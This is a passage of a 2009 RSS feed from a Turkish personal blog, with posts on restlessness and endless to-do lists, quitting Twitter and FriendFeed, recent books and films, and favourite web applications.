  <pubDate>Cmt, 28 Şub 2009 12:02:08 +0300</pubDate>
  <description>&lt;p&gt;Emre Yılmaz "&lt;strong&gt;&lt;em&gt;Genç Bir İşadamına&lt;/em&gt;&lt;/strong&gt;" kitabında bir koltukta oturup hiç bir şey yapmadan durmanın ne kadar zor olduğunu anlatır.  Bu kitabı altı sene kadar önce okudum ama sanırım ne demek istediğini yeni anladım.  &lt;br/&gt;&lt;br/&gt;Lise hazırlıktayken çok sıkı bir &lt;a href="http://ferruh.mavituna.com/tag/fallout/" title="Fallout"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;Fallout&lt;/span&gt;&lt;/a&gt; oyuncusuydum ve hafta sonu rutinim şu şekildeydi:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Saat 7:30 sularında uyanılır,
&lt;/li&gt;&lt;li&gt;Bilgisayar başına geçilir,
&lt;/li&gt;&lt;li&gt;Tuvalet ve Yemek molaları hariç tüm vakitte Fallout oynanır.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;Hayatımı sanal bir dünyada yemiş, bitirmiş olmaktan gurur duyduğumu söyleyemem ama açıkçası yaşadığım dertsiz, tasasız kendini tamamen başka bir dünyaya kaptırmanın verdiği o keyfi hayatımda bir daha yakalayabileceğimi sanmıyorum. Gene altı sene kadar önce sıcak bir yaz gecesinde Marmara manzaralı balkonumun kenarına kurduğum bilgisayarımda, müzik dinleyip chat yaparken "&lt;em&gt;Daha ne isteyebilirim ki?&lt;/em&gt;" dediğimi hatırlıyorum, bu da tekrar zor ele geçirilecek anlardan biriydi.&lt;br/&gt;&lt;br/&gt;Artık o kadar çok "yapacak şey" var ki, her zaman bir şey yapmam gerekiyor. Derdimin dermanı &lt;a href="http://en.wikipedia.org/wiki/Getting_Things_Done" title="David Allen"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;David Allen&lt;/span&gt;&lt;/a&gt; değil, onu biliyorum, çünkü her şeyi yapmak özellikle de materyalist değil ruhsal açıdan da yaşayan bir insan için maalesef pek kolay değil. Gazze' dekileri görüp, Afrika' da açlıktan ölen insanları görüp, etrafımızda zorluklarla yaşayan insanları görüp, bir şey yapmamak kolay değil. Kendi rahatlığının "&lt;em&gt;görünürde&lt;/em&gt;" verdiği avantajın altından kalkmak kolay değil, sen evde akşam yemeğinde hangi yemeği yesem diye düşünürken arkadaşının "akşam yemeğinde ne bulabilirim?" diye düşündüğünü bilirken sakin ve huzurlu bir hayat yaşamak kolay değil.&lt;br/&gt;&lt;br/&gt;Her zaman yapacak bir şeyler:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Yapmadığım dini görevlerimi yerine getirmeye başlamak, yapıyorsam daha iyisini yapmaya çalışmak,
&lt;/li&gt;&lt;li&gt;Hafta 2-3 gün çalışarak istediğin şartlar altında yaşamanın yolunu bulmak,
&lt;/li&gt;&lt;li&gt;Haftalık çalışma vaktini azaltabilmek için bir proje geliştirmek,
&lt;/li&gt;&lt;li&gt;X Projesini yapmak,
&lt;/li&gt;&lt;li&gt;Y Projesini geliştirmek,
&lt;/li&gt;&lt;li&gt;Z işine girmek,
&lt;/li&gt;&lt;li&gt;Q konusunda bilgi sahibi olmak,
&lt;/li&gt;&lt;li&gt;Hal - hatır sormak, dostları bulmak,
&lt;/li&gt;&lt;li&gt;Aileye daha çok vakit ayırmak vs. vs.
&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;Bu tam anlamıyla sonu olmayan bir liste, işte bu yüzden insan koltuğa yatıp 30 dk. hiç bir şey yapmadan duramıyor, çünkü biliyor ki yapılması gereken bir çok şey var. Bir çok çözüm var, yeni nesil  (&lt;em&gt;özellikle avrupadaki, amerikadaki yeni nesil ve Türkiye' de onları taklit eden yeni nesil&lt;/em&gt;) gibi hiç bir şeyi takmamak, inanmamak, salmak gitmek. Bunu her bünye kaldırmaz. O kültür ile büyümemiş bünyenin kaldırması daha da zordur, işte bu noktada tekrar iyi ve kötü tarafıyla "&lt;em&gt;Ignorance is bliss&lt;/em&gt;" lafı akla geliyor. &lt;br/&gt;&lt;br/&gt;Konuyu bağlayacak bir yerde bulamadım, bir nevi iç dökme olarak kabul edin artık.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WbJ9HQz2-7kz_qcjLcg-SyoN3VQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WbJ9HQz2-7kz_qcjLcg-SyoN3VQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WbJ9HQz2-7kz_qcjLcg-SyoN3VQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WbJ9HQz2-7kz_qcjLcg-SyoN3VQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=6AcUAUVi-so:x_XZ6bCXBik:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=6AcUAUVi-so:x_XZ6bCXBik:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=6AcUAUVi-so:x_XZ6bCXBik:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=6AcUAUVi-so:x_XZ6bCXBik:2mJPEYqXBVI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?d=2mJPEYqXBVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/fmavituna?a=6AcUAUVi-so:x_XZ6bCXBik:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/fmavituna?i=6AcUAUVi-so:x_XZ6bCXBik:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/6AcUAUVi-so" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/sakin-oku/</guid>
  <comments>http://ferruh.mavituna.com/sakin-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/sakin-oku/</feedburner:origLink></item>
<item>
  <title>Güle Güle Twitter ve FriendFeed</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/aBKyc8Y0jBs/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 24 Şub 2009 10:39:01 +0300</pubDate>
  <description>&lt;p&gt;Nedense ben bu süreçten çok fazla geçiyorum, her şey IRC ile başladı, daha sonra ICQ' ya geçti, sonra MSN, skype oldu vs. Ondan sonra &lt;a href="http://ferruh.mavituna.com/ve-bana-neden-msn-kullanmiyorsun-diye-sordular-oku/" title="IM olayından tamamen koptum"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;IM olayından tamamen koptum&lt;/span&gt;&lt;/a&gt;. Bu süreç içerisinde &lt;strong&gt;forum&lt;/strong&gt; kavramı bir dönem hayatımda oldu. Bu basit dönemlerde internette sosyalleşme de basitti.&lt;br/&gt;&lt;br/&gt;Daha sonra &lt;em&gt;Facebook &lt;/em&gt;ve &lt;em&gt;MySpace &lt;/em&gt;gibi delilikler başladı ki Allah' a şükür Orkut' un ilk dönemlerinden dersimi almış olduğumdan onlara hiç bulaşmadan sıyrıldım. İnsanların okul arkadaşları ile, eski dostları ile diyalogunu bu tip bir platform üzerinden sürdürebilmesi her ne kadar kulağa çok güzel gelse de, o kişi okulda arkamdaki sırada otururken bile kendisi ile görüşmediğimden, &lt;em&gt;bugün kendisini bir daha bulup neden görüşmek isteyebileceğimi bilmiyorum!&lt;/em&gt; Bu genel bir sorun değil bu benim sorunum, olayı yeterince &lt;strong&gt;sosyal&lt;/strong&gt; ya da &lt;strong&gt;hümanist&lt;/strong&gt; olmadığımı söyleyerek çözümleyebiliriz sanırım. Ya da diyelim ki &lt;strong&gt;yapılacaklar listemde &lt;/strong&gt;on sene önceki arkadaşlarımın bugün hangi sosyal platformda kaç kız arakladığını takip etmek yukarılarda değil.&lt;br/&gt;&lt;br/&gt;Bu dönem hala sürerken başka bir şey başladı, &lt;strong&gt;Twitter &lt;/strong&gt;ve &lt;strong&gt;FriendFeed&lt;/strong&gt;. Ben açıkçası Twitter' ı çok sevdim çünkü diyaloglar tamamen &lt;strong&gt;pasifti&lt;/strong&gt;. Dolayısıyla dialogdan çok monolog vardı, bu da benim sevdiğim şeylerden biri. Ek olarak blog yazan biri olarak kısa şeyleri de paylaşmayı seviyorum ve bunun için de güzel bir platformdu. &lt;em&gt;Yani microblogging dedikleri hadise..&lt;/em&gt;. Twitter' da aktif olmaya başlayınca twitter' ın yapısı yetmez olmaya başladı, sonra bir çok kişi bana FriendFeed' i önerdi ve ben de ona geçtim.&lt;br/&gt;&lt;br/&gt;Şimdi her zaman yaptığı gibi tarih tekerrür ediyor ve ben FriendFeed ile Twitter' dan da kopuyorum. Dolayısıyla diğer bir &lt;a href="http://ferruh.mavituna.com/sosyal-hoppalik-oku/" title="Sosyal Hoppalık"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;sosyal hoppalık&lt;/span&gt;&lt;/a&gt; maceramda bu şekilde sonuçlanmış oluyor.
&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Times New Roman; font-size:18pt"&gt;&lt;strong&gt;Neden Kullanmıyorum
&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div&gt;&lt;strong&gt;IM Kullanmama Nedenlerim;
&lt;/strong&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Konsantrasyonumu etkilemesi
&lt;/li&gt;&lt;li&gt;Aynı diyalogun telefon üzerinden 30 dakika yerine 2 dakikada çok daha verimli olarak çözülebileceğini bilmem
&lt;/li&gt;&lt;li&gt;İnsanların istedikleri zaman size ulaşabiliyor olması (bu nedenle 2 sene boyunca cep telefonu kullanmadım ama maalesef onun yararları zararlarından çok olduğundan şu an gene mecburen kullanıyorum)
&lt;/li&gt;&lt;li&gt;E-mail, forum ve bilumum pasif komünikasyonun birçok konuda daha verimli olması
&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;strong&gt;Facebook, MySpace Gibi Sosyal Ağları Kullanmama Nedenlerim;
&lt;/strong&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Herhalde buna ciddi bir cevap vermemi beklemiyorsunuz. Bunun cevabı bariz zaten. Belki de doğru soru neden kullanayım ki?
&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;strong&gt;Artık Forum Kullanmıyor Olmamın Nedenleri;
&lt;/strong&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Drama, polemik vs. ana nedenler ama bunun harici kaliteli forum bulmanın pek mümkün olmaması. &lt;a href="http://www.zoque.net/" title="Zoque Forum"&gt;Zoque Forum&lt;/a&gt; harici bir böyle bir forum görmedim, Zoque' un da altın dönemi maalesef kapandı, her ne kadar yeni bir nesil varsa da web tasarımı konusundan çok uzaklaştığımdan dolayı eski tadı alamıyorum. Gene de hala okuyor ve arada yazıyorum. Sadece eskisine göre çok daha az. 
&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;strong&gt;Twitter' ı Az da Olsa Kullanıyor Olacağımın Nedenleri;
&lt;/strong&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Sinirlenince bir şekilde küfretmem gerekiyor,
&lt;/li&gt;&lt;li&gt;Rasgele, hatta salakça ama çok derinmiş gibi gözüken cümleleri yazabileceğim bir yere ihtiyacım var,
&lt;/li&gt;&lt;li&gt;Çünkü bağırmak, saçmalamak ve cevap almamaktan daha keyifli az şey var.
&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;strong&gt;FriendFeed' i Az Kullanıyor Olacağımın Nedenleri;&lt;br/&gt;&lt;/strong&gt;Zoque Forum' da seneler önce Din ve Siyaset konuları tamamen yasaklanmıştı. Önce bu bana çok saçma geldi. İnsanlara "O kadar tek hücreli beyinlere sahipsiniz ki bu konuları tartışmayı bile beceremiyorsunuz" demek gibiydi. Kısa sürede öğrendim ki insalar gerçekten de tek hücreli beyinlere sahipti ve bu tip konuları mantıksal ve saygı çerçevesi içerisinde tartışamazdı. Bunun ikinci ana nedeni ise bu iki ilmin de matematik gibi kesin cevaplarının olmaması ve tamamen kişisel olmasıydı. Tabii ki bu konulardaki hakaretlerin veya çirkefliklerin kişisel olarak insanları ciddi derecede rahatsız ediyor olması da cabası. İşte FriendFeed' den uzak duracak olmamamın ana nedeni bu.  
&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://encyclopedia2.thefreedictionary.com/signal%2Fnoise+ratio" title="Signal - Noise oranının"&gt;Signal - Noise oranının&lt;/a&gt; genelde kurtarmıyor olması, bunun bir nedeni de benim ilgili olduğum konularda ilgili olan insanların sayısının benim çemberimde çok fazla olmaması.
&lt;/li&gt;&lt;li&gt;Çok fazla din ve siyasi konu geçiyor olması, Din bilmeyen kişiler ile tartışılabilecek bir şey değil, dolayisıyla din ile ilgili konular genelde bok atalım izi kalsın kıvamında, hakeza siyaset konusu da o şekilde. Siyaset ile zaten ilgilenmediğimden o konuların hepsi benim için çöp oluyor ama insanların 3,5 kitap, 2 televizyon programı ve 7 internet haberi ile her renkteki siyasi olay hakkında vücutlarının bilumum organları ile ileri-geri konuşmaları hakikaten eğlendirici. Ama bu tip bir diyalog görmek istersem zaten FailBlog ya da MySpace yorumlarını okuyorum.
&lt;/li&gt;&lt;li&gt;Polemik, pire ve deve mevzuları. Ama her şeyden çok drama, drama ve drama. İnsan = Drama.  Benim hayatımda yeterince drama var, kotayı doldurmak için dışarıdan yeni drama ihraç etmem gerekmiyor. Gerektiği zamanlarda da &lt;a href="http://www.imdb.com/title/tt0104756/" title="Lorenzo' nun Yağı"&gt;Lorenzo' nun Yağı&lt;/a&gt; ' nı izleyip bir milenyuma yetecek kadar drama depoluyorum.
&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;İnternet büzemeyeceğin milyonlarca ağızdan oluşuyor, dolaysıyla biz de büzmek yerine görmezden geliyoruz. Bu platformların hepsi &lt;strong&gt;kişisel veya markasal marketing &lt;/strong&gt;için süper yerler ama herkesin bildiği iki gerçek var:
&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=3gBiB5hl2vo" title="Joey doesn't share food"&gt;&lt;span style="color:blue; text-decoration:underline"&gt;Joey doesn't share food&lt;/span&gt;&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;Ferruh doesn't do marketing 
&lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6_-0EST0UgFbzRFjUc_UEt6ujgA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6_-0EST0UgFbzRFjUc_UEt6ujgA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/6_-0EST0UgFbzRFjUc_UEt6ujgA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6_-0EST0UgFbzRFjUc_UEt6ujgA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=JYVevbj7"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=U9FFxXre"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=uuXnZxWw"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=gZoXdNpf"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=gZoXdNpf" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/aBKyc8Y0jBs" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/gule-gule-twitter-ve-friendfeed-oku/</guid>
  <comments>http://ferruh.mavituna.com/gule-gule-twitter-ve-friendfeed-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/gule-gule-twitter-ve-friendfeed-oku/</feedburner:origLink></item>
<item>
  <title>Hayat Denilen Arbede</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/OU3wXUuOVjA/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 20 Şub 2009 10:13:51 +0300</pubDate>
  <description>&lt;p&gt;&lt;img align="right" src="http://ferruh.mavituna.com//blogs/upload/022009_0814_HayatDenile1.jpg" alt=""/&gt;&lt;strong&gt;23 gündür&lt;/strong&gt; blog yazmayınca "Aloo, Ferruh, yaşıyor musun?" kıvamında e-maillar almaya başladım. Dolayısıyla yazmak boynumun borcu oldu, ödeyeyim kurtulayım. Gene yazacak güzel bir şey, ben de ortaya karışık yapayım dedim. Şöyle kısaca hayatımda bu aralar nelerin &lt;strong&gt;IN&lt;/strong&gt; nelerin &lt;strong&gt;OUT &lt;/strong&gt;olduğunu ileteyim.
&lt;/p&gt;&lt;h2&gt;IN 
&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Kitap Okumak&lt;/strong&gt;&lt;br/&gt;Tekrar okumaya başladım (&lt;em&gt;tekrar görmeye başladım gibi oldu!&lt;/em&gt;).  &lt;a href="http://www.librarything.com/work/book/40343607"&gt;Joel on Software&lt;/a&gt;' i bitirdim. Henüz bitiremediğim &lt;a href="http://ferruh.mavituna.com/yeni-kitap-secrets-and-lies-oku/"&gt;Secrets &amp; Lies&lt;/a&gt;' ı tekrar okumaya başladım. &lt;a href="http://www.librarything.com/work/book/41748398"&gt;The 80/20 Principle&lt;/a&gt; ile &lt;a href="http://www.librarything.com/work/book/41359054"&gt;Haunted&lt;/a&gt;' ı da listemde beklemeye aldım.
&lt;/li&gt;&lt;li&gt;&lt;div&gt;&lt;strong&gt;Güzel Filmler İzlemek&lt;br/&gt;&lt;/strong&gt;Rutin olarak haftada 3-5 film izliyorum zaten ama genelde 3-5 güzel film izlemek pen nasip olmuyor. Hollywood' da eşek kadar bütçe ile bu kadar &lt;strong&gt;&lt;em&gt;boktan&lt;/em&gt;&lt;/strong&gt; filmler çeken yönetmenleri de hayranlığımı da buradan bir defa daha iletmek isterim. Zaten bu yüzden Hollywood filmlerinden uzak durmaya çalışıyorum, Avrupa yapımları gibi olamıyorlar ama Avrupa' dan çıkan film sayısı da çok düşük. Geyiği geçer konuya gelirsem yakın dönemde şu süper filmleri izledim:&lt;br/&gt;
			&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.imdb.com/title/tt0463998/"&gt;Freedom Writers&lt;/a&gt;
				&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.imdb.com/title/tt0223897/"&gt;Pay It Forward&lt;/a&gt;
					&lt;br/&gt;&lt;em&gt;Kevin Spacey' nin kötü filmi var mı?&lt;/em&gt;
				&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.imdb.com/media/rm1343528192/tt0414387"&gt;Pride &amp; Prejudice&lt;/a&gt;&lt;br/&gt;Klasik ingiliz romanının, İngiliz uyarlaması, süper bir eski İngilizce' nin tüm estantaneleri ile. Eğer bir film dram ya da romantik olacaksa böyle olabilir.
&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.imdb.com/title/tt1010048/"&gt;Slumdog Millionaire&lt;/a&gt;&lt;br/&gt;Diğer bir dram ama süper bir yapım, izlenmeli. Hayatınızı değiştirmeyecek ama keyifli bir iki saat geçireceksiniz.&lt;br/&gt;
				&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Ar-Ge Yapmak &lt;br/&gt;&lt;/strong&gt;Önümüzdeki ay Prag' ta olacak bir konfreransa konuşmacı olarak davet edildim, onun verdiği motivasyon ile bu aralar yeni birkaç konu üzerinde çalışıyorum. Konferans sonrası bu projelerin detaylarını yayınlayacağım inşallah.
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Dil Muhabbetleri Etmek ya da Edememek&lt;/strong&gt;Dil yapıları hakkında muhabbet etmek her zaman hoşuma gitmiştir, bu dönemin konuları : İngilizce, zamanlar, Türkçe' deki kelime sayısı vs. İngilizce kelime zenginliği, ayrı yazılan de ve da' ların saçmalığı, yazı reformunun dili yozlaştırmasını yüzde vurulması, İngilizce' deki abuk ve sabuk kullanımlar, manyak zamanlar ve tuhaf olaylar.
&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Felsefe ve Demagoji Yapmak&lt;br/&gt;&lt;/strong&gt;Ne konuda olduğu önemli değil, &lt;em&gt;yapmak için yapmak&lt;/em&gt;.
&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;OUT
&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Blog Yazmak
&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;RSS Okumak
&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;E-maillara Cevap Vermek!
&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;FriendFeed, Twitter gibi sosyal hoppalıklarda aktif olmak
&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Son olarak bu aralar "&lt;strong&gt;her şey gereksiz ne de olsa&lt;/strong&gt;" moduna girdim, sanırım Britanya' nın kara toprakları beni iyice kişisel ve bencil biri yaptı, etrafımda olan olaylar her gün daha da uzaklaşıyor ve anlamsızlaşıyor. 
&lt;/p&gt;&lt;p&gt;Özetle &lt;strong&gt;evet, yaşıyorum. &lt;/strong&gt;Neden bilmiyorum ama aklıma şairin harika dörtlüğü geldi, spontane bir blog yazısı olması açısından onu da ekleyeyim:
&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Başım Belada,&lt;br/&gt;Tabancamı unutmuşum helada,&lt;br/&gt;Nereye gitsem çaresi yok,&lt;br/&gt;Yalnızım…&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FqmEvhnwQ0dVKDdabvmyX1hmwTs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FqmEvhnwQ0dVKDdabvmyX1hmwTs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FqmEvhnwQ0dVKDdabvmyX1hmwTs/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FqmEvhnwQ0dVKDdabvmyX1hmwTs/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=8NZS9Aay"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=8PXzOzrk"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=DuCFIu4m"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=VjUhByVI"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=VjUhByVI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/OU3wXUuOVjA" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/hayat-denilen-arbede-oku/</guid>
  <comments>http://ferruh.mavituna.com/hayat-denilen-arbede-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/hayat-denilen-arbede-oku/</feedburner:origLink></item>
<item>
  <title>Sevdiğim Web Uygulamaları</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/-MB-AxUpC-0/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 27 Oca 2009 23:41:08 +0300</pubDate>
  <description>&lt;p&gt;Bazı web uygulamları var ki onlar olmadan işler çok zor olurdu, ufak bir liste yapayım dedim:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.evernote.com/"&gt;Evernote&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.librarything.com/"&gt;Librarything&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://gmail.com"&gt;Gmail&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://docs.google.com/"&gt;Google Docs&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.newsgator.com/"&gt;FeedDemon - Newsgator&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://delicious.com/"&gt;Delicious&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.amazon.co.uk/"&gt;Amazon&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://safari.oreilly.com/mysafari"&gt;O'Reilly Safari&lt;/a&gt;
		&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Olsa da olur olmasa da:
&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.liquidplanner.com"&gt;Liquid Planner&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.gamestracker.com/"&gt;Games Tracker&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://friendfeed.com/"&gt;Friend Feed&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://stackoverflow.com/"&gt;Stackoverflow&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.linkedin.com/"&gt;LinkedIn&lt;/a&gt;
		&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.gamespot.com/"&gt;GameStop&lt;/a&gt;
		&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Bu aralar biraz başım karışık o yüzden pek yazamıyorum, yakında eski rutinime döneceğim inşallah.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/3bjYnGigRYw3CBK1crlM_ShX1ns/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3bjYnGigRYw3CBK1crlM_ShX1ns/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/3bjYnGigRYw3CBK1crlM_ShX1ns/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3bjYnGigRYw3CBK1crlM_ShX1ns/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=fqxU8yxp"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ZhaZBQZ4"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=PJcgZTaB"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=U1WvqrO8"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=U1WvqrO8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/-MB-AxUpC-0" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/sevdigim-web-uygulamalari-oku/</guid>
  <comments>http://ferruh.mavituna.com/sevdigim-web-uygulamalari-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/sevdigim-web-uygulamalari-oku/</feedburner:origLink></item>
<item>
  <title>iPhone’ da Ebook Okumak</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/jBPv9q1eENA/</link>
  <author>Ferruh Mavituna</author>
